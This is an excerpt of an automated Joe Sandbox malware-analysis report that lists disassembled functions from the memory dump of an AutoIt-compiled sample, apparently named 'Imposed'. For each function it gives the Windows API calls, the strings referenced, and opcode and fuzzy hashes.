                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                • String ID: '
                                                                                                                                                                • API String ID: 3850602802-1997036262
                                                                                                                                                                • Opcode ID: f812ca179b25ae4b495f40d5f5dcd531734559a7b31e2dce9173aafe0391204e
                                                                                                                                                                • Instruction ID: e05a4c6159fb2cfb0c1dc77d98afffb28bee7ae91afc8284ff7cc22eb1e0d59c
                                                                                                                                                                • Opcode Fuzzy Hash: f812ca179b25ae4b495f40d5f5dcd531734559a7b31e2dce9173aafe0391204e
                                                                                                                                                                • Instruction Fuzzy Hash: 5031F675A0131A9FDB14CFADD980BEABBB9FF49300F105169E905AB392D770A941CF90
                                                                                                                                                                Function 00A238C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00A23956
                                                                                                                                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A23961
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                • String ID: Combobox
                                                                                                                                                                • API String ID: 3850602802-2096851135
                                                                                                                                                                • Opcode ID: af5e5292c8c984daac76925764bc68c4a5e20d4846d77898e3ffee992e7988a2
                                                                                                                                                                • Instruction ID: 254cf39def232f5b88009fc09c09824b101c45f01025cd9769a977fe202d8922
                                                                                                                                                                • Opcode Fuzzy Hash: af5e5292c8c984daac76925764bc68c4a5e20d4846d77898e3ffee992e7988a2
                                                                                                                                                                • Instruction Fuzzy Hash: EF11B6727002187FEF118F58EC91EBB37AAEB863A4F100135F9549B290D6799D918760
                                                                                                                                                                Function 00A0D54C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00A0D5AB
                                                                                                                                                                • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00A0D5D4
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Internet$OpenOption
                                                                                                                                                                • String ID: <local>
                                                                                                                                                                • API String ID: 942729171-4266983199
                                                                                                                                                                • Opcode ID: b0e9f22748e650c2067d92de0f76e30e185e8f998717985ef6b091a893f0bc15
                                                                                                                                                                • Instruction ID: 0560c27ed3e40c7686442d066320150df3cf5ae62e201842ef124fc3566f0f37
                                                                                                                                                                • Opcode Fuzzy Hash: b0e9f22748e650c2067d92de0f76e30e185e8f998717985ef6b091a893f0bc15
                                                                                                                                                                • Instruction Fuzzy Hash: 6711CA72205235B9D7344BE6AC45EF7BF6CEF117A8F004216B909931C0D664A940C6F0
                                                                                                                                                                Function 00A23B03 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetWindowTextLengthW.USER32(00000000), ref: 00A23B85
                                                                                                                                                                • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00A23B94
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LengthMessageSendTextWindow
                                                                                                                                                                • String ID: edit
                                                                                                                                                                • API String ID: 2978978980-2167791130
                                                                                                                                                                • Opcode ID: 9204546c564a729d2e7f789074995ba8bb5383f3c41a11373282ce2afeb9a876
                                                                                                                                                                • Instruction ID: 9a2ffca8f0bddb77f7b92161f79c8d31b05585b933dba3ed07709eca0b64eb22
                                                                                                                                                                • Opcode Fuzzy Hash: 9204546c564a729d2e7f789074995ba8bb5383f3c41a11373282ce2afeb9a876
                                                                                                                                                                • Instruction Fuzzy Hash: C6118F72100118ABEF108F68EC84AFB3B69EB46374F504734F965971D0C779DC529760
                                                                                                                                                                Function 009F74A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                • CharUpperBuffW.USER32(?,?,?), ref: 009F74D2
                                                                                                                                                                • _wcslen.LIBCMT ref: 009F74DE
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$BuffCharUpper
                                                                                                                                                                • String ID: STOP
                                                                                                                                                                • API String ID: 1256254125-2411985666
                                                                                                                                                                • Opcode ID: 2f275944dbbc1f726af8fb4925e3f0234cf55d54c572101a1ba3f7415eb63bd6
                                                                                                                                                                • Instruction ID: 59f9d84887fb97e97a01a45c78726f0f22cf91dadbe0789a645df7c921e191b5
                                                                                                                                                                • Opcode Fuzzy Hash: 2f275944dbbc1f726af8fb4925e3f0234cf55d54c572101a1ba3f7415eb63bd6
                                                                                                                                                                • Instruction Fuzzy Hash: 0E01D232A1812F8BCF209FFDEC409BFB7A9ABA5314B100D24FA2597191EB35D904C750
                                                                                                                                                                Function 009F2558 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                  • Part of subcall function 009F44BB: GetClassNameW.USER32(?,?,000000FF), ref: 009F44DE
                                                                                                                                                                • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 009F25C6
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ClassMessageNameSend_wcslen
                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                • API String ID: 624084870-1403004172
                                                                                                                                                                • Opcode ID: a8bdeb10f76e1026a44642906573c420af698e2b5ce6629e07a787a4d9078924
                                                                                                                                                                • Instruction ID: 625a83fc4a35d5985be6854a4b5e1a033793cbb521874e75c15943ca9368cfea
                                                                                                                                                                • Opcode Fuzzy Hash: a8bdeb10f76e1026a44642906573c420af698e2b5ce6629e07a787a4d9078924
                                                                                                                                                                • Instruction Fuzzy Hash: 3901B5B1A55218AB8B14EBE4CC61BFF77A8FB45350B400A19F932572D2DE3598098750
                                                                                                                                                                Function 009F2452 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                  • Part of subcall function 009F44BB: GetClassNameW.USER32(?,?,000000FF), ref: 009F44DE
                                                                                                                                                                • SendMessageW.USER32(?,00000180,00000000,?), ref: 009F24C0
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ClassMessageNameSend_wcslen
                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                • API String ID: 624084870-1403004172
                                                                                                                                                                • Opcode ID: 24dadcda6298741f223b277a01d087e652b75cd399d07cf567b2033b02b817e8
                                                                                                                                                                • Instruction ID: 547a282d0cecd915eeb2823f5265c61ebdf1d7506a9a8d9d4e833a73ed35b51c
                                                                                                                                                                • Opcode Fuzzy Hash: 24dadcda6298741f223b277a01d087e652b75cd399d07cf567b2033b02b817e8
                                                                                                                                                                • Instruction Fuzzy Hash: F801A2B1A441086ACF14EBE4CD52FFF77ECAB55340F501425BA02772E2DE689E088771
                                                                                                                                                                Function 009F24D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                  • Part of subcall function 009F44BB: GetClassNameW.USER32(?,?,000000FF), ref: 009F44DE
                                                                                                                                                                • SendMessageW.USER32(?,00000182,?,00000000), ref: 009F2542
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ClassMessageNameSend_wcslen
                                                                                                                                                                • String ID: ComboBox$ListBox
                                                                                                                                                                • API String ID: 624084870-1403004172
                                                                                                                                                                • Opcode ID: 480ff76e78841d31c063e43ce4160b0f703c2a6c7209bb86f013b93caaf8b64b
                                                                                                                                                                • Instruction ID: bf622768c85419e56ef9fd82eb7429a52ada5582411f1faf93b40525adf7f919
                                                                                                                                                                • Opcode Fuzzy Hash: 480ff76e78841d31c063e43ce4160b0f703c2a6c7209bb86f013b93caaf8b64b
                                                                                                                                                                • Instruction Fuzzy Hash: 8801ADB1A441086ACF10E7E8CD12FFF77ACAB59340F500425B912B3292EA299E098771
                                                                                                                                                                Function 009EE96F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen
                                                                                                                                                                • String ID: 3, 3, 15, 3
                                                                                                                                                                • API String ID: 176396367-1239129305
                                                                                                                                                                • Opcode ID: a1a6b37f88e37b0723975ec9325b2de7510c564a97ab3390c63f50a93eb3de2b
                                                                                                                                                                • Instruction ID: 5c5f4e48d8d003967f1177684cb79d7f8b2219a1a01f9954f729fea1c523375b
                                                                                                                                                                • Opcode Fuzzy Hash: a1a6b37f88e37b0723975ec9325b2de7510c564a97ab3390c63f50a93eb3de2b
                                                                                                                                                                • Instruction Fuzzy Hash: 44F0961960119455CBE2D6759989BAD23D8BFC8710F2048BAE809C7292FF64CD859780
                                                                                                                                                                Function 009F138F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 009F139D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Message
                                                                                                                                                                • String ID: AutoIt$Error allocating memory.
                                                                                                                                                                • API String ID: 2030045667-4017498283
                                                                                                                                                                • Opcode ID: 52f72ab69bdc61a71274245076924f5209b36fa689b2294595e8c0ad176ae147
                                                                                                                                                                • Instruction ID: 515ee49faa5e66cfe3a5341b1792266970ff1444a2fc3311110998b7bf6c4ad6
                                                                                                                                                                • Opcode Fuzzy Hash: 52f72ab69bdc61a71274245076924f5209b36fa689b2294595e8c0ad176ae147
                                                                                                                                                                • Instruction Fuzzy Hash: DCE0D87124532C36D614379C7C07FCA7A845F44B31F11082AFA58998C34AE1248047D8
                                                                                                                                                                Function 009B1162 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009AFAF1: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,009B1191,?,?,?,0099100A), ref: 009AFAF6
                                                                                                                                                                • IsDebuggerPresent.KERNEL32(?,?,?,0099100A), ref: 009B1195
                                                                                                                                                                • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0099100A), ref: 009B11A4
                                                                                                                                                                Strings
                                                                                                                                                                • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 009B119F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
                                                                                                                                                                • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                                                                                                                                • API String ID: 55579361-631824599
                                                                                                                                                                • Opcode ID: 8f49624033b62322eb3ea576f0042d27c129d73f01a739575ff19b3f30ac9743
                                                                                                                                                                • Instruction ID: b798d35039a78fd0dccc29b3396559c764feb51aca3077ea2b40ce0ee1ade60e
                                                                                                                                                                • Opcode Fuzzy Hash: 8f49624033b62322eb3ea576f0042d27c129d73f01a739575ff19b3f30ac9743
                                                                                                                                                                • Instruction Fuzzy Hash: 05E06D702047108FD370DF6CEA24782BAE4AB44314F108D2CE856C6741DBB4D485CBD1
                                                                                                                                                                Function 00A038AA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00A038C2
                                                                                                                                                                • GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00A038D7
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Temp$FileNamePath
                                                                                                                                                                • String ID: aut
                                                                                                                                                                • API String ID: 3285503233-3010740371
                                                                                                                                                                • Opcode ID: c1e9163e9af344f5b72a5fcfb7817c0ce6672e904ffef54f34b1f8a95eb24931
                                                                                                                                                                • Instruction ID: 4c3aeecc1fa1e0618a9b3587bdda41e033fa75494447d6f071df2f63cc8a390e
                                                                                                                                                                • Opcode Fuzzy Hash: c1e9163e9af344f5b72a5fcfb7817c0ce6672e904ffef54f34b1f8a95eb24931
                                                                                                                                                                • Instruction Fuzzy Hash: BAD05B71500314B7DA30D7A89C0DFDB7E6CDB44751F0005A17E5591091DAB0D546C790
                                                                                                                                                                Function 00A229FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00A22A06
                                                                                                                                                                • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00A22A19
                                                                                                                                                                  • Part of subcall function 009FF152: Sleep.KERNEL32 ref: 009FF1CA
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FindMessagePostSleepWindow
                                                                                                                                                                • String ID: Shell_TrayWnd
                                                                                                                                                                • API String ID: 529655941-2988720461
                                                                                                                                                                • Opcode ID: 42666033776ef7a8602ddc7fb6ab8d562328c7e3736b700932f81a5e6ce02966
                                                                                                                                                                • Instruction ID: 6814aab736d9c45e44bee9303829abdfab05f6a220f8277047fcd3fa0c3ca424
                                                                                                                                                                • Opcode Fuzzy Hash: 42666033776ef7a8602ddc7fb6ab8d562328c7e3736b700932f81a5e6ce02966
                                                                                                                                                                • Instruction Fuzzy Hash: E6D0A932388300B6E234E3B0BC0AFEA2A10AF40B00F100830B309AA1C1C9E468028640
                                                                                                                                                                Function 00A22A30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00A22A46
                                                                                                                                                                • PostMessageW.USER32(00000000), ref: 00A22A4D
                                                                                                                                                                  • Part of subcall function 009FF152: Sleep.KERNEL32 ref: 009FF1CA
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FindMessagePostSleepWindow
                                                                                                                                                                • String ID: Shell_TrayWnd
                                                                                                                                                                • API String ID: 529655941-2988720461
                                                                                                                                                                • Opcode ID: 87fa3594a9200718bc116c755dcee2c192854cb322960f08cb2b5009d6019bb0
                                                                                                                                                                • Instruction ID: 8c5b20139fe2e392f56f2aa1a8185f71104c7bc01d4fc98b67aae3ef44c0a3f4
                                                                                                                                                                • Opcode Fuzzy Hash: 87fa3594a9200718bc116c755dcee2c192854cb322960f08cb2b5009d6019bb0
                                                                                                                                                                • Instruction Fuzzy Hash: D1D0C932385314BAE674E7B4BD0AFEA6A54AB54B11F100835B749AA1D1C9E468028654
                                                                                                                                                                Function 009CC21D Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 009CC2B3
                                                                                                                                                                • GetLastError.KERNEL32 ref: 009CC2C1
                                                                                                                                                                • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 009CC31C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
